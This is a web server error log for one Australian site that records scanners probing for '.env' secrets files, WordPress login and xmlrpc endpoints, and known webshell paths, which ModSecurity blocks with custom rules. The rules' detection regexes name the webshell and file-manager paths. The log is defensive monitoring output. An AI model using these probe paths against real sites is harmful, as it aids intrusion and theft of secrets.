[Thu Dec 11 16:36:40.101012 2025] [:error] [pid 57990:tid 57999] [client 94.141.160.104:50328] [client 94.141.160.104] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aTqCmAqZT_dc36fQdXFMzQAAAAQ"]
[Thu Dec 11 21:25:08.355401 2025] [proxy_fcgi:error] [pid 48261:tid 48278] [client 20.89.211.126:2044] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Thu Dec 11 21:25:08.479739 2025] [proxy_fcgi:error] [pid 48261:tid 48275] [client 20.89.211.126:2044] AH01071: Got error 'Primary script unknown', referer: https://www.google.co.uk/
[Thu Dec 11 21:25:08.603787 2025] [proxy_fcgi:error] [pid 48261:tid 48264] [client 20.89.211.126:2044] AH01071: Got error 'Primary script unknown', referer: https://www.google.co.uk/
[Thu Dec 11 21:25:08.730152 2025] [proxy_fcgi:error] [pid 48261:tid 48276] [client 20.89.211.126:2044] AH01071: Got error 'Primary script unknown', referer: https://duckduckgo.com/
[Thu Dec 11 21:25:08.855226 2025] [proxy_fcgi:error] [pid 48261:tid 48274] [client 20.89.211.126:2044] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Thu Dec 11 21:25:08.979751 2025] [proxy_fcgi:error] [pid 48261:tid 48281] [client 20.89.211.126:2044] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Thu Dec 11 21:25:09.105741 2025] [proxy_fcgi:error] [pid 48261:tid 48277] [client 20.89.211.126:2044] AH01071: Got error 'Primary script unknown', referer: https://duckduckgo.com/
[Thu Dec 11 21:25:09.230718 2025] [proxy_fcgi:error] [pid 48261:tid 48285] [client 20.89.211.126:2044] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Thu Dec 11 21:25:09.356717 2025] [proxy_fcgi:error] [pid 48261:tid 48283] [client 20.89.211.126:2044] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Thu Dec 11 21:25:09.493040 2025] [proxy_fcgi:error] [pid 48261:tid 48279] [client 20.89.211.126:2044] AH01071: Got error 'Primary script unknown', referer: https://www.google.co.uk/
[Thu Dec 11 21:25:09.867769 2025] [proxy_fcgi:error] [pid 48261:tid 48286] [client 20.89.211.126:2044] AH01071: Got error 'Primary script unknown', referer: https://www.google.co.uk/
[Thu Dec 11 21:25:09.992777 2025] [proxy_fcgi:error] [pid 48261:tid 48280] [client 20.89.211.126:2044] AH01071: Got error 'Primary script unknown', referer: https://www.yahoo.com/
[Thu Dec 11 21:25:10.120645 2025] [proxy_fcgi:error] [pid 48261:tid 48267] [client 20.89.211.126:2044] AH01071: Got error 'Primary script unknown', referer: https://www.google.co.uk/
[Thu Dec 11 21:25:10.245585 2025] [proxy_fcgi:error] [pid 48261:tid 48265] [client 20.89.211.126:2044] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Thu Dec 11 21:25:10.370182 2025] [proxy_fcgi:error] [pid 48261:tid 48266] [client 20.89.211.126:2044] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Thu Dec 11 21:25:10.493406 2025] [proxy_fcgi:error] [pid 48261:tid 48268] [client 20.89.211.126:2044] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Thu Dec 11 21:25:10.628367 2025] [proxy_fcgi:error] [pid 48261:tid 48288] [client 20.89.211.126:2044] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Thu Dec 11 21:25:10.754140 2025] [proxy_fcgi:error] [pid 48261:tid 48272] [client 20.89.211.126:2044] AH01071: Got error 'Primary script unknown', referer: https://www.yahoo.com/
[Thu Dec 11 21:25:10.880959 2025] [proxy_fcgi:error] [pid 48261:tid 48287] [client 20.89.211.126:2044] AH01071: Got error 'Primary script unknown', referer: https://www.google.fr/
[Thu Dec 11 21:25:11.007517 2025] [proxy_fcgi:error] [pid 48261:tid 48284] [client 20.89.211.126:2044] AH01071: Got error 'Primary script unknown', referer: https://www.google.co.uk/
[Thu Dec 11 21:25:12.546558 2025] [proxy_fcgi:error] [pid 48261:tid 48273] [client 20.89.211.126:2044] AH01071: Got error 'Primary script unknown', referer: https://www.google.co.uk/
[Thu Dec 11 21:25:12.672816 2025] [proxy_fcgi:error] [pid 48261:tid 48278] [client 20.89.211.126:2044] AH01071: Got error 'Primary script unknown', referer: https://www.yahoo.com/
[Thu Dec 11 21:25:12.797104 2025] [proxy_fcgi:error] [pid 48261:tid 48276] [client 20.89.211.126:2044] AH01071: Got error 'Primary script unknown', referer: https://www.google.com/
[Thu Dec 11 21:25:12.923382 2025] [proxy_fcgi:error] [pid 48261:tid 48274] [client 20.89.211.126:2044] AH01071: Got error 'Primary script unknown', referer: https://www.google.fr/
[Thu Dec 11 21:25:13.174021 2025] [proxy_fcgi:error] [pid 48261:tid 48277] [client 20.89.211.126:2044] AH01071: Got error 'Primary script unknown', referer: https://www.yahoo.com/
[Thu Dec 11 21:25:13.299294 2025] [proxy_fcgi:error] [pid 48261:tid 48270] [client 20.89.211.126:2044] AH01071: Got error 'Primary script unknown', referer: https://www.google.fr/
[Thu Dec 11 21:25:13.674880 2025] [proxy_fcgi:error] [pid 48261:tid 48279] [client 20.89.211.126:2044] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Thu Dec 11 21:25:13.799015 2025] [proxy_fcgi:error] [pid 48261:tid 48271] [client 20.89.211.126:2044] AH01071: Got error 'Primary script unknown', referer: https://www.google.co.uk/
[Thu Dec 11 21:25:13.924595 2025] [proxy_fcgi:error] [pid 48261:tid 48269] [client 20.89.211.126:2044] AH01071: Got error 'Primary script unknown', referer: https://www.google.com/
[Thu Dec 11 21:25:14.050071 2025] [proxy_fcgi:error] [pid 48261:tid 48286] [client 20.89.211.126:2044] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Thu Dec 11 21:25:14.300838 2025] [proxy_fcgi:error] [pid 48261:tid 48267] [client 20.89.211.126:2044] AH01071: Got error 'Primary script unknown', referer: https://www.yahoo.com/
[Thu Dec 11 21:25:14.551002 2025] [proxy_fcgi:error] [pid 48261:tid 48266] [client 20.89.211.126:2044] AH01071: Got error 'Primary script unknown', referer: https://duckduckgo.com/
[Thu Dec 11 21:25:14.675893 2025] [proxy_fcgi:error] [pid 48261:tid 48268] [client 20.89.211.126:2044] AH01071: Got error 'Primary script unknown', referer: https://www.google.fr/
[Thu Dec 11 21:25:14.803516 2025] [proxy_fcgi:error] [pid 48261:tid 48288] [client 20.89.211.126:2044] AH01071: Got error 'Primary script unknown', referer: https://duckduckgo.com/
[Thu Dec 11 21:25:16.535968 2025] [proxy_fcgi:error] [pid 48261:tid 48278] [client 20.89.211.126:2044] AH01071: Got error 'Primary script unknown', referer: https://www.yahoo.com/
[Thu Dec 11 21:25:16.663294 2025] [proxy_fcgi:error] [pid 48261:tid 48275] [client 20.89.211.126:2044] AH01071: Got error 'Primary script unknown', referer: https://www.google.fr/
[Thu Dec 11 21:25:18.673232 2025] [proxy_fcgi:error] [pid 48261:tid 48288] [client 20.89.211.126:2044] AH01071: Got error 'Primary script unknown', referer: https://www.google.fr/
[Fri Dec 12 00:10:41.857505 2025] [:error] [pid 53552:tid 53573] [client 45.153.34.216:34278] [client 45.153.34.216] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aTrtAQRA1W2830SPmKa1lgAAABM"]
[Fri Dec 12 12:34:23.879451 2025] [:error] [pid 26520:tid 26564] [client 170.64.170.1:63114] [client 170.64.170.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 170.64.170.1, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aTubT0G_frlY5vNXu_Cq5gAAAEw"]
[Fri Dec 12 12:34:23.889990 2025] [proxy_fcgi:error] [pid 26520:tid 26564] [client 170.64.170.1:63114] AH01071: Got error 'Primary script unknown'
[Fri Dec 12 15:10:06.425829 2025] [proxy_fcgi:error] [pid 27950:tid 27968] [client 194.5.82.74:61851] AH01071: Got error 'Primary script unknown'
[Fri Dec 12 15:10:06.612967 2025] [proxy_fcgi:error] [pid 27950:tid 27957] [client 194.5.82.74:61851] AH01071: Got error 'Primary script unknown'
[Fri Dec 12 15:10:06.808218 2025] [proxy_fcgi:error] [pid 27950:tid 27958] [client 194.5.82.74:61851] AH01071: Got error 'Primary script unknown'
[Fri Dec 12 15:10:07.001244 2025] [proxy_fcgi:error] [pid 27950:tid 27976] [client 194.5.82.74:61851] AH01071: Got error 'Primary script unknown'
[Fri Dec 12 15:10:07.207596 2025] [proxy_fcgi:error] [pid 27950:tid 27973] [client 194.5.82.74:61851] AH01071: Got error 'Primary script unknown'
[Fri Dec 12 15:10:07.397137 2025] [proxy_fcgi:error] [pid 27950:tid 27972] [client 194.5.82.74:61851] AH01071: Got error 'Primary script unknown'
[Fri Dec 12 15:10:07.591130 2025] [proxy_fcgi:error] [pid 27950:tid 27962] [client 194.5.82.74:61851] AH01071: Got error 'Primary script unknown'
[Fri Dec 12 15:10:07.785059 2025] [proxy_fcgi:error] [pid 27950:tid 27966] [client 194.5.82.74:61851] AH01071: Got error 'Primary script unknown'
[Fri Dec 12 15:10:07.973179 2025] [proxy_fcgi:error] [pid 27950:tid 27965] [client 194.5.82.74:61851] AH01071: Got error 'Primary script unknown'
[Fri Dec 12 15:10:09.732178 2025] [proxy_fcgi:error] [pid 27950:tid 27952] [client 194.5.82.74:61851] AH01071: Got error 'Primary script unknown'
[Fri Dec 12 15:10:10.109411 2025] [proxy_fcgi:error] [pid 27950:tid 27964] [client 194.5.82.74:61851] AH01071: Got error 'Primary script unknown'
[Fri Dec 12 15:10:10.298470 2025] [proxy_fcgi:error] [pid 27950:tid 27955] [client 194.5.82.74:61851] AH01071: Got error 'Primary script unknown'
[Fri Dec 12 15:10:11.842630 2025] [proxy_fcgi:error] [pid 27950:tid 27959] [client 194.5.82.74:61851] AH01071: Got error 'Primary script unknown'
[Fri Dec 12 15:10:12.033417 2025] [proxy_fcgi:error] [pid 27950:tid 27954] [client 194.5.82.74:61851] AH01071: Got error 'Primary script unknown'
[Fri Dec 12 15:10:13.573697 2025] [proxy_fcgi:error] [pid 27950:tid 27967] [client 194.5.82.74:61851] AH01071: Got error 'Primary script unknown'
[Fri Dec 12 15:10:13.765355 2025] [proxy_fcgi:error] [pid 27950:tid 27963] [client 194.5.82.74:61851] AH01071: Got error 'Primary script unknown'
[Fri Dec 12 15:10:13.952061 2025] [proxy_fcgi:error] [pid 27950:tid 27969] [client 194.5.82.74:61851] AH01071: Got error 'Primary script unknown'
[Fri Dec 12 15:10:14.143420 2025] [proxy_fcgi:error] [pid 27950:tid 27968] [client 194.5.82.74:61851] AH01071: Got error 'Primary script unknown'
[Fri Dec 12 15:10:14.336296 2025] [proxy_fcgi:error] [pid 27950:tid 27957] [client 194.5.82.74:61851] AH01071: Got error 'Primary script unknown'
[Fri Dec 12 15:10:18.162862 2025] [:error] [pid 27950:tid 27956] [client 194.5.82.74:61851] [client 194.5.82.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aTu_2oVLRvkrdsSc1F1UNAAAAUQ"]
[Fri Dec 12 15:10:20.218226 2025] [:error] [pid 26521:tid 26599] [client 194.5.82.55:41745] [client 194.5.82.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aTu_3JdhcAPU617AKTAbOgAAAJQ"]
[Fri Dec 12 15:10:21.159341 2025] [proxy_fcgi:error] [pid 60649:tid 60657] [client 194.5.82.70:36939] AH01071: Got error 'Primary script unknown'
[Fri Dec 12 15:10:21.717595 2025] [:error] [pid 60649:tid 60653] [client 194.5.82.70:36939] [client 194.5.82.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aTu_3VOcUGKU3sgfHP-_3gAAAQE"]
[Fri Dec 12 15:10:22.276812 2025] [proxy_fcgi:error] [pid 60649:tid 60666] [client 194.5.82.90:33643] AH01071: Got error 'Primary script unknown'
[Fri Dec 12 15:10:23.753342 2025] [proxy_fcgi:error] [pid 60649:tid 60669] [client 194.5.82.90:33643] AH01071: Got error 'Primary script unknown'
[Fri Dec 12 15:10:23.952743 2025] [:error] [pid 60649:tid 60656] [client 194.5.82.90:33643] [client 194.5.82.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aTu_31OcUGKU3sgfHP-_4gAAAQQ"]
[Fri Dec 12 16:27:10.974621 2025] [:error] [pid 26519:tid 26524] [client 94.247.172.129:37157] [client 94.247.172.129] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.agraphics.com.au|F|4"] [data "close, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.agraphics.com.au"] [uri "/"] [unique_id "aTvR3s8TRgSGOeWqEhfGkQAAAAE"]
[Fri Dec 12 21:34:29.314559 2025] [:error] [pid 26607:tid 26627] [client 94.63.42.200:63256] [client 94.63.42.200] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.63.42.200, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aTwZ5cb_b0tOEWTL2KmjjgAAANI"]
[Fri Dec 12 21:34:29.327764 2025] [proxy_fcgi:error] [pid 26607:tid 26627] [client 94.63.42.200:63256] AH01071: Got error 'Primary script unknown'
[Fri Dec 12 21:35:26.206670 2025] [proxy_fcgi:error] [pid 27950:tid 27967] [client 130.33.54.142:14529] AH01071: Got error 'Primary script unknown'
[Fri Dec 12 21:35:26.326711 2025] [proxy_fcgi:error] [pid 27950:tid 27955] [client 130.33.54.142:14529] AH01071: Got error 'Primary script unknown'
[Fri Dec 12 21:35:26.446454 2025] [proxy_fcgi:error] [pid 27950:tid 27969] [client 130.33.54.142:14529] AH01071: Got error 'Primary script unknown'
[Fri Dec 12 21:35:26.565796 2025] [proxy_fcgi:error] [pid 27950:tid 27958] [client 130.33.54.142:14529] AH01071: Got error 'Primary script unknown'
[Fri Dec 12 21:35:26.690855 2025] [proxy_fcgi:error] [pid 27950:tid 27961] [client 130.33.54.142:14529] AH01071: Got error 'Primary script unknown'
[Fri Dec 12 21:35:26.807220 2025] [:error] [pid 27950:tid 27956] [client 130.33.54.142:14529] [client 130.33.54.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aTwaHoVLRvkrdsSc1F2mDQAAAUQ"]
[Fri Dec 12 21:35:27.275656 2025] [:error] [pid 26519:tid 26540] [client 130.33.54.142:15137] [client 130.33.54.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/rk2.php"] [unique_id "aTwaH88TRgSGOeWqEhf4gwAAABE"]
[Fri Dec 12 21:35:27.595316 2025] [proxy_fcgi:error] [pid 27950:tid 27970] [client 130.33.54.142:15165] AH01071: Got error 'Primary script unknown'
[Fri Dec 12 21:35:27.713678 2025] [proxy_fcgi:error] [pid 27950:tid 27976] [client 130.33.54.142:15165] AH01071: Got error 'Primary script unknown'
[Fri Dec 12 21:35:27.832782 2025] [proxy_fcgi:error] [pid 27950:tid 27953] [client 130.33.54.142:15165] AH01071: Got error 'Primary script unknown'
[Fri Dec 12 21:35:27.953904 2025] [:error] [pid 27950:tid 27971] [client 130.33.54.142:15165] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aTwaH4VLRvkrdsSc1F2mEwAAAVM"]
[Fri Dec 12 21:35:28.305371 2025] [:error] [pid 60649:tid 60655] [client 130.33.54.142:15119] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aTwaIFOcUGKU3sgfHP8ArAAAAQM"]
[Fri Dec 12 21:35:28.573737 2025] [:error] [pid 26519:tid 26531] [client 130.33.54.142:15118] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aTwaIM8TRgSGOeWqEhf4iAAAAAg"]
[Fri Dec 12 21:35:28.847843 2025] [:error] [pid 26521:tid 26579] [client 130.33.54.142:15142] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aTwaIJdhcAPU617AKTCJSAAAAIA"]
[Fri Dec 12 21:35:29.326119 2025] [:error] [pid 26519:tid 26524] [client 130.33.54.142:15125] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/function.php"] [unique_id "aTwaIc8TRgSGOeWqEhf4igAAAAE"]
[Fri Dec 12 21:35:29.581493 2025] [:error] [pid 55760:tid 55773] [client 130.33.54.142:14548] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/function.php"] [unique_id "aTwaIVObDQlftFDyGawZOQAAAYs"]
[Fri Dec 12 21:35:29.916963 2025] [:error] [pid 26607:tid 26626] [client 130.33.54.142:15163] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/function.php"] [unique_id "aTwaIcb_b0tOEWTL2KmjygAAANE"]
[Fri Dec 12 21:35:30.211380 2025] [:error] [pid 26521:tid 26586] [client 130.33.54.142:14552] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/function.php"] [unique_id "aTwaIpdhcAPU617AKTCJUAAAAIc"]
[Fri Dec 12 21:35:30.569461 2025] [:error] [pid 55760:tid 55785] [client 130.33.54.142:15123] [client 130.33.54.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aTwaIlObDQlftFDyGawZPQAAAZc"]
[Fri Dec 12 21:35:30.843948 2025] [:error] [pid 26519:tid 26543] [client 130.33.54.142:14545] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/index.php"] [unique_id "aTwaIs8TRgSGOeWqEhf4jgAAABQ"]
[Fri Dec 12 21:35:31.138909 2025] [:error] [pid 55760:tid 55763] [client 130.33.54.142:14556] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/index.php"] [unique_id "aTwaI1ObDQlftFDyGawZPgAAAYE"]
[Fri Dec 12 21:35:31.481172 2025] [:error] [pid 55760:tid 55782] [client 130.33.54.142:14528] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/index.php"] [unique_id "aTwaI1ObDQlftFDyGawZQAAAAZQ"]
[Fri Dec 12 21:35:31.809683 2025] [:error] [pid 55760:tid 55772] [client 130.33.54.142:14542] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/default.php"] [unique_id "aTwaI1ObDQlftFDyGawZQgAAAYo"]
[Fri Dec 12 21:35:32.105686 2025] [:error] [pid 55760:tid 55771] [client 130.33.54.142:15150] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/default.php"] [unique_id "aTwaJFObDQlftFDyGawZRAAAAYk"]
[Fri Dec 12 21:35:32.497760 2025] [:error] [pid 26519:tid 26530] [client 130.33.54.142:15126] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/default.php"] [unique_id "aTwaJM8TRgSGOeWqEhf4kgAAAAc"]
[Fri Dec 12 21:35:32.873720 2025] [:error] [pid 26520:tid 26571] [client 130.33.54.142:15113] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/default.php"] [unique_id "aTwaJEG_frlY5vNXu_ABrAAAAFM"]
[Fri Dec 12 21:35:33.249986 2025] [:error] [pid 55760:tid 55762] [client 130.33.54.142:15129] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "aTwaJVObDQlftFDyGawZSQAAAYA"]
[Fri Dec 12 21:35:33.757778 2025] [:error] [pid 55760:tid 55775] [client 130.33.54.142:15132] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "aTwaJVObDQlftFDyGawZSwAAAY0"]
[Fri Dec 12 21:35:34.273782 2025] [:error] [pid 26521:tid 26600] [client 130.33.54.142:15114] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "aTwaJpdhcAPU617AKTCJWgAAAJU"]
[Fri Dec 12 21:35:34.652674 2025] [:error] [pid 55760:tid 55766] [client 130.33.54.142:14534] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "aTwaJlObDQlftFDyGawZTwAAAYQ"]
[Fri Dec 12 21:35:35.040384 2025] [:error] [pid 27950:tid 27971] [client 130.33.54.142:15159] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/wp-pridmag/init.php"] [unique_id "aTwaJ4VLRvkrdsSc1F2mIAAAAVM"]
